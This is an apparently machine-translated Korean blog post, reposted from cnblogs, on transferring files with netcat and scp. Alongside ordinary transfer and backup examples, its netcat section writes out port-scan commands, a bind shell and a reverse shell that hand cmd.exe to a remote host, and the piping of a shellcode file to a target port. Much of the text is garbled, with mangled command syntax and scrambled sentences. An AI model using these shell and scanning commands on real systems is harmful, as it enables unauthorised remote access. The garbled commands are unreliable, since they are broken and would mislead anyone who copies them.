파일 전송을 달성하기 위해 리눅스, NC 또는 scp 명령

매우 실용적인 팁 당신은 NR 또는 scp를 사용할 수 있습니다

 

NC 명령, HTTPS : //www.cnblogs.com/xuybin/archive/2013/09/27/3343098.html에서 다시 인쇄

 

보낸 사람 :
CAT의 TEST.TXT |에 -l -p NC 6666
또는 NC -l -p 6666 <TEST.TXT 일부 버전은 -p하지 않습니다
(보낸 사람의 IP가 10.20.133.152입니다 제공) 연결을 기다리고, 6666 수신 포트]
수신 종료 :
6666는> NC 10.20.133.152있는 test1.txt는
상기 조작으로서 파일로 저장할 수있는 test1.txt, 수신 단으로 TEST.TXT 송신부로부터 송신 할 수있다

NC [-options] 호스트 포트 [: 어딘가에 연결하려는 S] [포트] ...
연결 대기 포트에 바인딩 : NC -l -p 포트 [-options] [호스트 이름] [포트]

구문 : NC [-hlnruz] - g < 게이트웨이 ...>] [- G <포인터 번호>] - I <초 지연>] [- O <출력 파일>] [- p <통신 포트> [- S <소스 주소>] - V ...] [ - w < 초 초과> [호스트 이름] ... 통신 포트]
보충 설명 :이 명령은 라우터 파라미터를 행한다.
파라미터 :
-g <게이트웨이> 제공된 통신 게이트웨이 라우터 홉 대부분 오 8이 제공 될 수있다 잃었다.
-G <포인트 번호 설정> 소스 라우팅 포인트, 4의 배수 인 값.
-h 온라인 도움말.
-i <초 지연> 주사 정보 통신 포트를 송신하는 시간 간격을 설정.
리스닝 모드, 수신 데이터 관리 및 컨트롤을 사용하여 -l.
직접 오히려 도메인 이름 서버보다는, IP 주소를 사용 -n.
-o <출력 파일> 파일 이름을 지정하고 진수 데이터 워드의 송신은 파일에 붓고이 저장된다.
-p <통신 포트> 로컬 호스트에 의해 사용 된 통신 포트를 설정한다.
-r 논스 지정된 통신 포트 로컬 및 원격 호스트.
-s <원본 주소> 설정된 로컬 호스트는 패킷의 IP 어드레스를 송신한다.
-u 사용 UDP 전송 프로토콜.
-v 표시 처리의 실행 명령.
-w <초 타임 아웃> 연결 대기 시간을 설정합니다.
스캔하는 동안 -z 0 입력 / 출력 모드 만 통신 포트를 사용한다.

또한, 명령을 NC 것은 또한 포트 스캔에 사용할 수 있습니다 :
NC가 -W2 10.20.133.152 1-14000가 -Z -v
번호를 호스트 10.20.133.152 1 ~ 14000 TCP 포트를 스캔 할 수 있습니다;

NC -u -v -z -W2 10.20.133.152 1-14000는
1 ~ 14000 UDP 포트 호스트 10.20.133.152에 번호를 검색 할 수 있습니다.

NC는 매우 좋은 네트워크 탐지 도구이며, 다음은 자세한 사용이다.
'nc.exe -h'는 각 매개 변수의 사용을 볼 수 있습니다.
기본 형식 : NC [-options] 호스트 포트 [포트] ...
   NC에 -l -p 포트 [옵션] [호스트 이름] [포트]
-d 백그라운드 모드
-e 음식물 프로그램 리디렉션, 한 번 연결, [위험의 구현에! !]
-g 게이트웨이 홉 포인트 소스 라우팅, 최대 8
-G NUM 소스 라우팅 포인터 : 4, 8, 12, ...
도움이 -h
간격 -i 초이 지연
에 대한 -l 청취 모드를 역 연결
연결이 닫힌 후 -L은 듣고 계속
하지 호스트 이름으로, 지정된 숫자의 -n IP 주소를
-o 기록 전송 16 진수 파일
로컬 포트 번호 포트를 -p
임의 로컬 및 원격 포트 -r
-s 요지 로컬 소스 주소
대화식 TELNET 사용 -t
UDP 모드 -u
-v 상세 출력 - -v 두 자세한 내용이 얻어진다
-w 초 초과 시간
입력 및 출력을 스위치 오프 -z - 스캐닝하기 위해 사용될 때
표현 포트 MN은 다양한 형식으로 기록 할 수 있습니다.
1) 원격 호스트에 연결되어
으로 192.168.xx 80 -nvv NC : 형식
설명 다음으로 192.168.xx 접속 TCP80 포트
2) 로컬 호스트에서 수신
NC -l -p 80 : 포맷
설명 : 기계 TCP80는 수신 포트
(3))은 원격 호스트 주사
형식 : NC -nvv -W2 -z으로 192.168.xx 80을 445
설명 : TCP445의 모든 포트에게 TCP80의 스캔으로 192.168.xx
: SHELL 예 바인딩 4) 원격 호스트
형식 : NC -l -p 5354 -t -EC : \ WINNT \ system32를 \ cmd.exe를
설명 : 결합을 REMOTE TCP5354에서 CMDSHELL은 원격 호스트 포트 호스트
., 예를 5 바인딩) 및 역 SHELL 원격 호스트에 연결 :
형식 : NC -t -EC : \ WINNT \ system32를 \ cmd.exe를으로 192.168.xx 5354
설명 : 바인딩 호스트 REMOTE TCP5354 포트으로 192.168.xx에 CMDSHELL 및 역방향 연결은
(사실, 많은 NC 사용량이 몇 가지 사용의 가장 기본적인보다
"<", ">"하고 명령을 재 그래서 명령에 | ""는 명령에 파이프 라인이 때 더 강력한 ......).
6) 공격 절차, 예를 들어
식 1 : type.exe C : \ exploit.txt | NC -nvv으로 192.168.xx 80
형식 2 : NC -nvv으로 192.168.xx 80 <C : \ exploit.txt
설명 :으로 192.168.xx 80 포트에 연결하고, 파이프 라인에 전송된다 'exploit.txt \ C'콘텐츠입니다 (실제로 두 형식이 같은 효과가 정말 같은 목적이있다 : P)
첨부 : 'C : \ exploit.txt '인 쉘 코드 등
7) 허니팟으로서 [1] 예 :
형식 : NC -L -p 80
설명 : 사용 "-L'(대문자 L)는 포트 모니터를 유지할 수 있음을 유의 CTRL + C의 최대까지
허니팟으로 사용할 8) [2] 예 :
형식 : NC -L -p 80> C : \ log.txt에
설명 : 사용 "-L '끊임없이 CTRL까지 포트를 모니터링 할 C +까지 동안 'C : \ log.txt에'의 출력이 '>'는
  즉,이 로그를 첨가 할 수있다 '>>'에
붙어 : '\ log.txt에 C'의 기록
의 경우) 9 [3] 실시 예와 허니팟 :
식 1 : NC -L -p 80 <C : \ honeypot.txt
포맷 2 type.exe C : \ honeypot.txt | NC -L -p 80
설명 : 사용 '-L '지속적으로 Ctrl + C까지 포트를 모니터 할 수 있으며,'C : \ honeypot.txt '내용'하는 파이프로 보낼!
10) 백업 파일의
데이터를 클립 기계 / 데이터 백업 B backup.tgz 호스트에
소스 호스트 : 타르 czf을 - 일 | NC -l -c -p 1234
목표 호스트 : 노스 캐롤라이나 192.168.0.1 1234>가.


B : backup.tgz>은 4444는 NC
전송이 완료되면 호스트가 직접 확산 backup.tgz 파일을 생성하지 않도록 + C 분리 CTRL 후 통과, 단점은 헤이, 알고있다

 

 scp 명령은    HTTPS : //www.cnblogs.com/suntray/p/9771209.html에서 재판

 

맥은 윈도우 ssh를 CRT에서 더 유사한 시스템 없기 때문에 로컬 컴퓨터 등 사용 빈도가 scp를 명령 파일 업로드 및 다운로드 같은 도구를 xshell, 맥, 리눅스 서버 시스템입니다.

다음과 같이 명령이다

업로드 파일 :

SCP 로컬 파일 경로와 서버 사용자 @ 서버 주소의 파일 이름 (URL, IP) : 서버 경로 / 파일 서버 이름 (선택, 기입하지 않고, 자동으로 로컬 파일 이름으로 저장)

예를 들면

SCP ~ / 데스크탑 / WYS / dist.zip 루트 @ xxxxx는 : / 루트 / 서버 / CRCC / 와이오밍 /

다운로드 :

SCP 사용자 @ 서버 서버 주소 (URL, IP) : 서버 경로 / 로컬 파일 서버 경로 / 파일 이름의 파일 이름 (선택 사항을 기입하지 않습니다, 자동으로 파일 이름으로 저장 서버) 

예를 들면

SCP 루트 @ xxxxx는 : /root/servers/crcc/wy/dist.zip ~ / 데스크탑 / WYS /

":"당신이 폴더에 작성하려는 경우, 작성해야합니다, 마지막은 "/"작성해야합니다

 특별한 경우 : 인해 보안 정책, 서버의 SSH 포트 (SCP입니다 포트)의 많은, 다른 포트 번호로 변경됩니다 기본 포트 22을 사용하지 마십시오. 명령에 포트 번호를 추가해야 -P.

다음과 같이 명령은 다음과 같습니다

업로드 파일 :

SCP -P 로컬 서버 사용자 @ 서버 주소의 파일 경로 및 파일 이름 (URL, IP)의 포트 번호 : 서버 경로 / 파일 서버 이름 (선택, 기입하지 않고, 자동으로 로컬 파일 이름으로 저장)

예를 들면

SCP -P 포트 번호 ~ / 데스크탑 / WYS / dist.zip 루트 @ xxxxx는 : / 루트 / 서버 / CRCC / 와이오밍 /

 

다운로드 :

서버 사용자 @ 서버 주소의 SCP -P 포트 번호 (URL, IP) : 서버 경로 / 로컬 파일 서버 경로 / 파일 이름의 파일 이름 (선택 사항을 기입하지 않습니다, 자동으로 파일 이름으로 저장 서버) 

예를 들면

SCP -P 포트 번호 루트 @ xxxxx는 : /root/servers/crcc/wy/dist.zip ~ / 데스크탑 / WYS /

":"당신이 폴더에 작성하려는 경우, 작성해야합니다, 마지막은 "/"작성해야합니다

-PP 대문자 P의 포트 번호 뒤에 인 P와 포트 번호 사이의 공간을 포함

 

 

 

 

추천

출처www.cnblogs.com/widget90/p/11719194.html